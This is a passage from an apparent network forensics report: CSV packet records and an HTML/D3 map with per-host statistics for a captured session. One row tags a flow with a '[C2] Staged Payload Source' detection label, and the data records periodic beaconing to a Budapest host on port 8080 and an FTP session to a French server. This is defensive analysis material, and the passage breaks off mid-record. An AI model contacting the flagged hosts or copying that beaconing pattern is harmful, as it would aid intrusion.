Seq=17955916 Ack=1371136159,5254007bb792525400577f940800450000289ed440004006daa9b9a3cc5dc0a87aa81f90c4040111fc4c51b9e09f50100053c16c0000,RT.{..RT.W....E..(..@.@......]..z........LQ...P..S.l..,,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:7b:b7:92\"\", \"\"src\"\": \"\"52:54:00:57:7f:94\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 40660, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 55977, \"\"src\"\": \"\"185.163.204.93\"\", \"\"dst\"\": \"\"192.168.122.168\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8080, \"\"dport\"\": 50180, \"\"seq\"\": 17955916, \"\"ack\"\": 1371136159, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 83, \"\"chksum\"\": 49516, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-04-29 14:34:10.438023,198,TCP 192.168.122.168:50181 -> 208.95.112.1:80,192.168.122.168,208.95.112.1,50181,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,A,,,Ether > IP > TCP,3,TCP A Seq=961268612 Ack=3563670197,525400577f945254007bb79208004500002806f8400080067826c0a87aa8d05f7001c4050050394bcb84d4694ab5501020137bcc0000,RT.W..RT.{....E..(..@...x&..z.._p....P9K...iJ.P. .{...,[C2] Staged Payload Source (Stages: 8),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"52:54:00:57:7f:94\"\", \"\"src\"\": \"\"52:54:00:7b:b7:92\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 1784, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 30758, \"\"src\"\": \"\"192.168.122.168\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 50181, \"\"dport\"\": 80, \"\"seq\"\": 961268612, \"\"ack\"\": 3563670197, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8211, \"\"chksum\"\": 31692, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n"},"html_report":"<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <title>Global Network Analysis - Investigative Map</title>\n    <!-- Light Theme UI -->\n    <link rel=\"stylesheet\" href=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.css\" />\n    <script src=\"https://unpkg.com/leaflet@1.9.4/dist/leaflet.js\"></script>\n    <script src=\"https://d3js.org/d3.v7.min.js\"></script>\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css\" />\n    <style>\n        :root {\n            --bg-page: #f8fafc;\n            --panel-bg: #ffffff;\n            --border-ui: #e2e8f0;\n            --text-primary: #1e293b;\n            --text-secondary: #64748b;\n            --accent-main: #3b82f6;\n            --accent-success: #10b981;\n            --accent-danger: #ef4444;\n            --shadow-ui: 0 4px 6px -1px rgba(0, 0, 0, 0.1);\n        }\n\n        body, html {\n            margin: 0;\n            padding: 0;\n            width: 100%;\n            height: 100%;\n            overflow: hidden;\n            font-family: 'Inter', system-ui, -apple-system, sans-serif;\n            background: var(--bg-page);\n            color: var(--text-primary);\n        }\n\n        #app-layout {\n            display: grid;\n            grid-template-columns: 1fr 400px;\n            grid-template-rows: 60px 1fr;\n            height: 100vh;\n            width: 100vw;\n        }\n\n        header {\n            grid-column: 1 / 3;\n            background: var(--panel-bg);\n            border-bottom: 1px solid var(--border-ui);\n            display: flex;\n            align-items: center;\n            padding: 0 24px;\n            justify-content: space-between;\n            z-index: 1000;\n        }\n\n        .brand {\n            display: flex;\n            align-items: center;\n            gap: 12px;\n            font-weight: 800;\n            font-size: 1.2rem;\n            color: var(--accent-main);\n        }\n\n        #map-view {\n            position: relative;\n            background: #eee;\n        }\n\n        #side-inspector {\n            background: var(--panel-bg);\n            border-left: 1px solid var(--border-ui);\n            display: flex;\n            flex-direction: column;\n            overflow: hidden;\n            box-shadow: -4px 0 10px rgba(0,0,0,0.02);\n        }\n\n        .inspector-header {\n            padding: 20px;\n            background: #f1f5f9;\n            border-bottom: 1px solid var(--border-ui);\n        }\n\n        .inspector-content {\n            flex: 1;\n            overflow-y: auto;\n            padding: 20px;\n        }\n\n        .info-card {\n            background: #f8fafc;\n            border: 1px solid var(--border-ui);\n            border-radius: 10px;\n            padding: 15px;\n            margin-bottom: 15px;\n        }\n\n        .sec-title {\n            font-size: 0.75rem;\n            text-transform: uppercase;\n            letter-spacing: 0.05em;\n            color: var(--text-secondary);\n            margin-bottom: 10px;\n            font-weight: 700;\n        }\n\n        .data-row {\n            display: flex;\n            justify-content: space-between;\n            margin-bottom: 6px;\n            font-size: 0.85rem;\n        }\n\n        .data-label {\n            color: var(--text-secondary);\n        }\n\n        .data-value {\n            font-weight: 600;\n            word-break: break-all;\n            text-align: right;\n        }\n\n        .packet-list-item {\n            padding: 10px;\n            border: 1px solid var(--border-ui);\n            border-radius: 6px;\n            margin-bottom: 8px;\n            cursor: pointer;\n            transition: all 0.2s;\n            font-size: 0.8rem;\n            display: flex;\n            justify-content: space-between;\n        }\n\n        .packet-list-item:hover {\n            background: #f1f5f9;\n            border-color: var(--accent-main);\n        }\n\n\n        .hex-dump {\n            font-family: 'Fira Code', 'Courier New', monospace;\n            background: #0f172a;\n            color: #38bdf8;\n            padding: 15px;\n            border-radius: 8px;\n            overflow: auto;\n            flex: 1;\n            font-size: 0.85rem;\n            line-height: 1.4;\n        }\n\n        .stat-grid {\n            display: grid;\n            grid-template-columns: repeat(3, 1fr);\n            gap: 15px;\n        }\n\n        .stat-box {\n            background: var(--panel-bg);\n            border: 1px solid var(--border-ui);\n            padding: 10px;\n            border-radius: 8px;\n            text-align: center;\n        }\n\n        .stat-v {\n            font-size: 1.2rem;\n            font-weight: 700;\n            color: var(--accent-main);\n        }\n\n        .stat-l {\n            font-size: 0.7rem;\n            color: var(--text-secondary);\n        }\n\n        .leaflet-d3-overlay {\n            pointer-events: none;\n        }\n\n        circle {\n            pointer-events: visiblePainted;\n            cursor: pointer;\n            transition: stroke-width 0.2s;\n        }\n\n        path.link {\n            stroke-opacity: 0.6;\n            fill: none;\n            cursor: pointer;\n        }\n\n        .replay-controller {\n            position: absolute;\n            bottom: 20px;\n            left: 50%;\n            transform: translateX(-50%);\n            background: white;\n            padding: 15px 25px;\n            border-radius: 12px;\n            display: flex;\n            align-items: center;\n            gap: 20px;\n            box-shadow: 0 10px 30px rgba(0,0,0,0.1);\n            z-index: 1001;\n            border: 1px solid var(--border-ui);\n            min-width: 500px;\n        }\n\n        .timeline-slider {\n            flex: 1;\n            -webkit-appearance: none;\n            height: 6px;\n            background: #e2e8f0;\n            border-radius: 5px;\n            outline: none;\n        }\n\n        .timeline-slider::-webkit-slider-thumb {\n            -webkit-appearance: none;\n            width: 18px;\n            height: 18px;\n            background: var(--accent-main);\n            border-radius: 50%;\n            cursor: pointer;\n            box-shadow: 0 2px 4px rgba(0,0,0,0.2);\n        }\n\n        .replay-btn {\n            background: var(--accent-main);\n            color: white;\n            border: none;\n            width: 36px;\n            height: 36px;\n            border-radius: 50%;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            cursor: pointer;\n            transition: transform 0.2s;\n        }\n\n        .replay-btn:hover {\n            transform: scale(1.1);\n        }\n\n        .packet-particle {\n            fill: var(--accent-main);\n            filter: drop-shadow(0 0 3px var(--accent-main));\n        }\n\n        .pvt-network-zone {\n            position: absolute;\n            top: 20px;\n            left: 20px;\n            width: 200px;\n            height: 150px;\n            border: 2px dashed #94a3b8;\n            border-radius: 10px;\n            background: rgba(248, 250, 252, 0.8);\n            pointer-events: none;\n            display: flex;\n            align-items: center;\n            justify-content: center;\n            font-size: 0.7rem;\n            color: #64748b;\n            text-transform: uppercase;\n            font-weight: 800;\n            z-index: 1000;\n        }\n    </style>\n</head>\n<body>\n    <div id=\"app-layout\">\n        <header>\n            <div class=\"brand\">\n                <i class=\"fas fa-microchip\"></i> FORENSIC GLOBAL ANALYZER\n            </div>\n            <div class=\"stat-grid\" style=\"gap: 40px;\">\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-nodes\">0</div>\n                    <div class=\"stat-l\">NODES</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-edges\">0</div>\n                    <div class=\"stat-l\">FLOWS</div>\n                </div>\n                <div class=\"stat-box\" style=\"border:none; background:none;\">\n                    <div class=\"stat-v\" id=\"stat-pkts\">0</div>\n                    <div class=\"stat-l\">PACKETS</div>\n                </div>\n            </div>\n            <div>\n                <button onclick=\"zoomToWorld()\" class=\"btn\" style=\"padding: 8px 15px; border:1px solid #ccc; border-radius:5px; background:white; cursor:pointer;\">\n                    <i class=\"fas fa-globe\"></i> Reset View\n                </button>\n            </div>\n        </header>\n\n        <div id=\"map-view\">\n            <div id=\"map\" style=\"width: 100%; height: 100%;\"></div>\n            <div class=\"pvt-network-zone\" id=\"pvt-zone\">Internal Assets</div>\n            \n            <div class=\"replay-controller\">\n                <button class=\"replay-btn\" id=\"play-pause\" onclick=\"toggleReplay()\">\n                    <i class=\"fas fa-play\" id=\"play-icon\"></i>\n                </button>\n                <input type=\"range\" class=\"timeline-slider\" id=\"timeline\" min=\"0\" max=\"100\" value=\"0\" oninput=\"seekReplay(this.value)\">\n                <div id=\"time-display\" style=\"font-family: monospace; font-size: 0.8rem; color: var(--text-secondary); width: 140px;\">00:00:00.000</div>\n            </div>\n\n            <div class=\"internal-nodes-tray\" id=\"internal-tray\" style=\"display:none;\">\n                <div class=\"sec-title\">Internal Assets</div>\n                <div id=\"internal-node-list\"></div>\n            </div>\n        </div>\n\n        <div id=\"side-inspector\">\n            <div class=\"inspector-header\">\n                <h2 id=\"inspect-title\">Selection Inspector</h2>\n                <p id=\"inspect-subtitle\" style=\"font-size: 0.8rem; color: var(--text-secondary);\">Select a node or flow on map</p>\n            </div>\n            <div class=\"inspector-content\" id=\"inspect-body\">\n                <div style=\"text-align: center; color: #94a3b8; margin-top: 50px;\">\n                    <i class=\"fas fa-search-location\" style=\"font-size: 3rem; margin-bottom: 20px;\"></i>\n                    <p>Analysis initialized. Click map elements or use replay to investigate flows.</p>\n                </div>\n            </div>\n        </div>\n    </div>\n\n    </div>\n\n    <script>\n        const nodes = [{\"id\": \"192.168.122.168\", \"ip\": \"192.168.122.168\", \"packet_count\": 198, \"total_bytes_sent\": 10576, \"total_bytes_received\": 6291, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"Raw\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\"], \"ports_used\": [49899, 49892, 50062, 50095, 50096, 50101, 50144, 50145, 50161, 50162, 50176, 50177, 50180, 50181], \"first_seen\": 1777472938.193546, \"last_seen\": 1777473250.438023, \"packets\": [{\"num\": 148, \"time\": 1777473184.207785, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 149, \"time\": 1777473184.207833, \"size\": 66, \"direction\": \"received\"}, {\"num\": 150, \"time\": 1777473184.20797, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 151, \"time\": 1777473184.428378, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 152, \"time\": 1777473184.428419, \"size\": 54, \"direction\": \"received\"}, {\"num\": 153, \"time\": 1777473184.429139, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 154, \"time\": 1777473184.429178, \"size\": 66, \"direction\": \"received\"}, {\"num\": 155, \"time\": 1777473184.429258, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 156, \"time\": 1777473184.429573, \"size\": 139, \"direction\": \"sent\"}, {\"num\": 157, \"time\": 1777473184.429588, \"size\": 54, \"direction\": \"received\"}, {\"num\": 158, \"time\": 1777473184.87021, \"size\": 250, \"direction\": \"received\"}, {\"num\": 159, \"time\": 1777473184.872247, \"size\": 58, \"direction\": \"sent\"}, {\"num\": 160, \"time\": 1777473184.872277, \"size\": 54, \"direction\": \"received\"}, {\"num\": 161, \"time\": 1777473184.872368, \"size\": 213, \"direction\": \"sent\"}, {\"num\": 162, \"time\": 1777473184.872375, \"size\": 54, \"direction\": \"received\"}, {\"num\": 163, \"time\": 1777473184.920066, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 164, \"time\": 1777473194.880125, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 165, \"time\": 1777473194.880161, \"size\": 66, \"direction\": \"received\"}, {\"num\": 166, \"time\": 1777473204.882105, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 167, \"time\": 1777473204.882137, \"size\": 66, \"direction\": \"received\"}, {\"num\": 168, \"time\": 1777473214.891823, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 169, \"time\": 1777473214.891854, \"size\": 66, \"direction\": \"received\"}, {\"num\": 170, \"time\": 1777473224.894135, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 171, \"time\": 1777473224.894165, \"size\": 66, \"direction\": \"received\"}, {\"num\": 172, \"time\": 1777473234.898346, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 173, \"time\": 1777473234.898374, \"size\": 66, \"direction\": \"received\"}, {\"num\": 174, \"time\": 1777473238.211732, \"size\": 54, \"direction\": \"received\"}, {\"num\": 175, \"time\": 1777473238.211946, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 176, \"time\": 1777473244.906947, \"size\": 55, \"direction\": \"sent\"}, {\"num\": 177, \"time\": 1777473244.906977, \"size\": 66, \"direction\": \"received\"}, {\"num\": 178, \"time\": 1777473249.251587, \"size\": 54, \"direction\": \"received\"}, {\"num\": 179, \"time\": 1777473249.251779, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 180, \"time\": 1777473249.275904, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 181, \"time\": 1777473249.275935, \"size\": 54, \"direction\": \"received\"}, {\"num\": 182, \"time\": 1777473249.294562, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 183, \"time\": 1777473249.294615, \"size\": 66, \"direction\": \"received\"}, {\"num\": 184, \"time\": 1777473249.294761, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 185, \"time\": 1777473249.521297, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 186, \"time\": 1777473249.52133, \"size\": 54, \"direction\": \"received\"}, {\"num\": 187, \"time\": 1777473249.802086, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 188, \"time\": 1777473249.802133, \"size\": 66, \"direction\": \"received\"}, {\"num\": 189, \"time\": 1777473249.802235, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 190, \"time\": 1777473249.802516, \"size\": 139, \"direction\": \"sent\"}, {\"num\": 191, \"time\": 1777473249.802533, \"size\": 54, \"direction\": \"received\"}, {\"num\": 192, \"time\": 1777473250.386889, \"size\": 250, \"direction\": \"received\"}, {\"num\": 193, \"time\": 1777473250.389054, \"size\": 58, \"direction\": \"sent\"}, {\"num\": 194, \"time\": 1777473250.389085, \"size\": 54, \"direction\": \"received\"}, {\"num\": 195, \"time\": 1777473250.389176, \"size\": 213, \"direction\": \"sent\"}, {\"num\": 196, \"time\": 1777473250.389184, \"size\": 54, \"direction\": \"received\"}, {\"num\": 197, \"time\": 1777473250.438023, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": true, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Internal\", \"city\": \"Private Network\", \"lat\": 0.0, \"lon\": 0.0, \"asn\": \"Unknown\", \"isp\": \"Unknown\", \"network\": \"Unknown\"}, \"duration\": 312.2444770336151, \"avg_packet_size\": 85.18686868686869, \"packets_per_second\": 0.6341185018900559}, {\"id\": \"4.213.25.240\", \"ip\": \"4.213.25.240\", \"packet_count\": 18, \"total_bytes_sent\": 0, \"total_bytes_received\": 3748, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"ports_used\": [443], \"first_seen\": 1777472938.193546, \"last_seen\": 1777472962.033117, \"packets\": [{\"num\": 0, \"time\": 1777472938.193546, \"size\": 153, \"direction\": \"received\"}, {\"num\": 1, \"time\": 1777472938.521026, \"size\": 153, \"direction\": \"received\"}, {\"num\": 2, \"time\": 1777472939.12722, \"size\": 153, \"direction\": \"received\"}, {\"num\": 3, \"time\": 1777472940.331285, \"size\": 153, \"direction\": \"received\"}, {\"num\": 4, \"time\": 1777472940.543456, \"size\": 302, \"direction\": \"received\"}, {\"num\": 5, \"time\": 1777472940.836897, \"size\": 302, \"direction\": \"received\"}, {\"num\": 6, \"time\": 1777472941.446243, \"size\": 302, \"direction\": \"received\"}, {\"num\": 7, \"time\": 1777472941.539992, \"size\": 153, \"direction\": \"received\"}, {\"num\": 8, \"time\": 1777472942.650424, \"size\": 302, \"direction\": \"received\"}, {\"num\": 9, \"time\": 1777472942.744187, \"size\": 153, \"direction\": \"received\"}, {\"num\": 10, \"time\": 1777472943.853568, \"size\": 302, \"direction\": \"received\"}, {\"num\": 11, \"time\": 1777472945.054065, \"size\": 302, \"direction\": \"received\"}, {\"num\": 12, \"time\": 1777472945.147772, \"size\": 153, \"direction\": \"received\"}, {\"num\": 13, \"time\": 1777472947.462651, \"size\": 302, \"direction\": \"received\"}, {\"num\": 14, \"time\": 1777472950.040923, \"size\": 153, \"direction\": \"received\"}, {\"num\": 15, \"time\": 1777472952.348924, \"size\": 302, \"direction\": \"received\"}, {\"num\": 25, \"time\": 1777472959.736234, \"size\": 54, \"direction\": \"received\"}, {\"num\": 28, \"time\": 1777472962.033117, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": true, \"is_client\": false, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"India\", \"city\": \"Pune\", \"lat\": 18.5211, \"lon\": 73.8502, \"asn\": 8075, \"isp\": \"Microsoft Corporation\", \"network\": \"4.213.0.0/16\"}, \"duration\": 23.839570999145508, \"avg_packet_size\": 208.22222222222223, \"packets_per_second\": 0.7550471441220642}, {\"id\": \"46.105.59.197\", \"ip\": \"46.105.59.197\", \"packet_count\": 14, \"total_bytes_sent\": 734, \"total_bytes_received\": 421, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Raw\"], \"ports_used\": [21], \"first_seen\": 1777472955.473425, \"last_seen\": 1777472969.756012, \"packets\": [{\"num\": 16, \"time\": 1777472955.473425, \"size\": 66, \"direction\": \"received\"}, {\"num\": 17, \"time\": 1777472955.473469, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 18, \"time\": 1777472955.490651, \"size\": 54, \"direction\": \"received\"}, {\"num\": 19, \"time\": 1777472955.823269, \"size\": 323, \"direction\": \"sent\"}, {\"num\": 20, \"time\": 1777472955.876067, \"size\": 70, \"direction\": \"received\"}, {\"num\": 21, \"time\": 1777472955.876088, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 22, \"time\": 1777472956.221838, \"size\": 96, \"direction\": \"sent\"}, {\"num\": 23, \"time\": 1777472956.258995, \"size\": 69, \"direction\": \"received\"}, {\"num\": 24, \"time\": 1777472956.259015, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 26, \"time\": 1777472961.418313, \"size\": 87, \"direction\": \"sent\"}, {\"num\": 27, \"time\": 1777472961.533084, \"size\": 54, \"direction\": \"received\"}, {\"num\": 29, \"time\": 1777472969.755815, \"size\": 54, \"direction\": \"received\"}, {\"num\": 30, \"time\": 1777472969.755913, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 31, \"time\": 1777472969.756012, \"size\": 54, \"direction\": \"received\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"France\", \"city\": \"Unknown\", \"lat\": 48.8582, \"lon\": 2.3387, \"asn\": 16276, \"isp\": \"OVH SAS\", \"network\": \"46.105.58.0/23\"}, \"duration\": 14.282587051391602, \"avg_packet_size\": 82.5, \"packets_per_second\": 0.9802145752464314}, {\"id\": \"185.163.204.93\", \"ip\": \"185.163.204.93\", \"packet_count\": 115, \"total_bytes_sent\": 3276, \"total_bytes_received\": 4386, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"Raw\"], \"ports_used\": [8080], \"first_seen\": 1777472983.359526, \"last_seen\": 1777473250.389184, \"packets\": [{\"num\": 125, \"time\": 1777473119.435064, \"size\": 58, \"direction\": \"received\"}, {\"num\": 126, \"time\": 1777473119.435096, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 127, \"time\": 1777473119.435242, \"size\": 213, \"direction\": \"received\"}, {\"num\": 128, \"time\": 1777473119.435252, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 130, \"time\": 1777473129.52342, \"size\": 55, \"direction\": \"received\"}, {\"num\": 131, \"time\": 1777473129.523454, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 132, \"time\": 1777473139.525754, \"size\": 55, \"direction\": \"received\"}, {\"num\": 133, \"time\": 1777473139.525796, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 134, \"time\": 1777473149.538419, \"size\": 55, \"direction\": \"received\"}, {\"num\": 135, \"time\": 1777473149.538471, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 136, \"time\": 1777473159.542306, \"size\": 55, \"direction\": \"received\"}, {\"num\": 137, \"time\": 1777473159.542328, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 140, \"time\": 1777473169.556296, \"size\": 55, \"direction\": \"received\"}, {\"num\": 141, \"time\": 1777473169.556331, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 142, \"time\": 1777473179.57177, \"size\": 55, \"direction\": \"received\"}, {\"num\": 143, \"time\": 1777473179.571812, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 144, \"time\": 1777473184.163963, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 145, \"time\": 1777473184.16431, \"size\": 54, \"direction\": \"received\"}, {\"num\": 146, \"time\": 1777473184.188797, \"size\": 54, \"direction\": \"received\"}, {\"num\": 147, \"time\": 1777473184.188821, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 148, \"time\": 1777473184.207785, \"size\": 66, \"direction\": \"received\"}, {\"num\": 149, \"time\": 1777473184.207833, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 150, \"time\": 1777473184.20797, \"size\": 54, \"direction\": \"received\"}, {\"num\": 159, \"time\": 1777473184.872247, \"size\": 58, \"direction\": \"received\"}, {\"num\": 160, \"time\": 1777473184.872277, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 161, \"time\": 1777473184.872368, \"size\": 213, \"direction\": \"received\"}, {\"num\": 162, \"time\": 1777473184.872375, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 164, \"time\": 1777473194.880125, \"size\": 55, \"direction\": \"received\"}, {\"num\": 165, \"time\": 1777473194.880161, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 166, \"time\": 1777473204.882105, \"size\": 55, \"direction\": \"received\"}, {\"num\": 167, \"time\": 1777473204.882137, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 168, \"time\": 1777473214.891823, \"size\": 55, \"direction\": \"received\"}, {\"num\": 169, \"time\": 1777473214.891854, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 170, \"time\": 1777473224.894135, \"size\": 55, \"direction\": \"received\"}, {\"num\": 171, \"time\": 1777473224.894165, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 172, \"time\": 1777473234.898346, \"size\": 55, \"direction\": \"received\"}, {\"num\": 173, \"time\": 1777473234.898374, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 176, \"time\": 1777473244.906947, \"size\": 55, \"direction\": \"received\"}, {\"num\": 177, \"time\": 1777473244.906977, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 178, \"time\": 1777473249.251587, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 179, \"time\": 1777473249.251779, \"size\": 54, \"direction\": \"received\"}, {\"num\": 180, \"time\": 1777473249.275904, \"size\": 54, \"direction\": \"received\"}, {\"num\": 181, \"time\": 1777473249.275935, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 182, \"time\": 1777473249.294562, \"size\": 66, \"direction\": \"received\"}, {\"num\": 183, \"time\": 1777473249.294615, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 184, \"time\": 1777473249.294761, \"size\": 54, \"direction\": \"received\"}, {\"num\": 193, \"time\": 1777473250.389054, \"size\": 58, \"direction\": \"received\"}, {\"num\": 194, \"time\": 1777473250.389085, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 195, \"time\": 1777473250.389176, \"size\": 213, \"direction\": \"received\"}, {\"num\": 196, \"time\": 1777473250.389184, \"size\": 54, \"direction\": \"sent\"}], \"is_private\": false, \"is_server\": false, \"is_client\": true, \"suspicious_score\": 0.0, \"geo\": {\"country\": \"Hungary\", \"city\": \"Budapest\", \"lat\": 47.5, \"lon\": 19.0412, \"asn\": 56322, \"isp\": \"ServerAstra Kft.\", \"network\": \"185.163.204.0/24\"}, \"duration\": 267.02965807914734, \"avg_packet_size\": 66.62608695652175, \"packets_per_second\": 0.4306637728080156}, {\"id\": \"208.95.112.1\", \"ip\": \"208.95.112.1\", \"packet_count\": 51, \"total_bytes_sent\": 2281, \"total_bytes_received\": 2021, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"HTTP\", \"HTTPRequest\", \"HTTPResponse\", \"Raw\"], \"ports_used\": [80], \"first_seen\": 1777472986.434403, \"last_seen\": 1777473250.438023, \"packets\": [{\"num\": 52, \"time\": 1777472986.434474, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 53, \"time\": 1777472986.434692, \"size\": 54, \"direction\": \"received\"}, {\"num\": 54, \"time\": 1777472986.439405, \"size\": 163, \"direction\": \"received\"}, {\"num\": 55, \"time\": 1777472986.439427, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 56, \"time\": 1777472986.967336, \"size\": 250, \"direction\": \"sent\"}, {\"num\": 57, \"time\": 1777472987.011083, \"size\": 54, \"direction\": \"received\"}, {\"num\": 68, \"time\": 1777473021.344763, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 69, \"time\": 1777473021.344924, \"size\": 54, \"direction\": \"received\"}, {\"num\": 83, \"time\": 1777473053.63862, \"size\": 54, \"direction\": \"received\"}, {\"num\": 84, \"time\": 1777473053.638683, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 85, \"time\": 1777473053.640511, \"size\": 66, \"direction\": \"received\"}, {\"num\": 86, \"time\": 1777473053.64057, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 87, \"time\": 1777473053.640649, \"size\": 54, \"direction\": \"received\"}, {\"num\": 88, \"time\": 1777473053.641256, \"size\": 139, \"direction\": \"received\"}, {\"num\": 89, \"time\": 1777473053.641276, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 90, \"time\": 1777473053.992047, \"size\": 249, \"direction\": \"sent\"}, {\"num\": 95, \"time\": 1777473054.034127, \"size\": 54, \"direction\": \"received\"}, {\"num\": 106, \"time\": 1777473107.033002, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 107, \"time\": 1777473107.033208, \"size\": 54, \"direction\": \"received\"}, {\"num\": 117, \"time\": 1777473118.401279, \"size\": 54, \"direction\": \"received\"}, {\"num\": 118, \"time\": 1777473118.401311, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 119, \"time\": 1777473118.657902, \"size\": 66, \"direction\": \"received\"}, {\"num\": 120, \"time\": 1777473118.657953, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 121, \"time\": 1777473118.658083, \"size\": 54, \"direction\": \"received\"}, {\"num\": 122, \"time\": 1777473118.658254, \"size\": 139, \"direction\": \"received\"}, {\"num\": 123, \"time\": 1777473118.658269, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 124, \"time\": 1777473119.4331, \"size\": 250, \"direction\": \"sent\"}, {\"num\": 129, \"time\": 1777473119.523634, \"size\": 54, \"direction\": \"received\"}, {\"num\": 138, \"time\": 1777473160.343693, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 139, \"time\": 1777473160.343861, \"size\": 54, \"direction\": \"received\"}, {\"num\": 151, \"time\": 1777473184.428378, \"size\": 54, \"direction\": \"received\"}, {\"num\": 152, \"time\": 1777473184.428419, \"size\": 54, \"direction\": \"sent\"}, {\"num\": 153, \"time\": 1777473184.429139, \"size\": 66, \"direction\": \"received\"}, {\"num\": 154, \"time\": 1777473184.429178, \"size\": 66, \"direction\": \"sent\"}, {\"num\": 155, \"time\": 1777473184.429258, \"size\": 54, \"direction\": \"received\"}, {\"num\": 156, \"time\": 1777473184.429573, \"size\": 139, \"direction\": \"received\"}, {\"num\": 157, \"time\": 1777473184.429588, \"size\": 54, 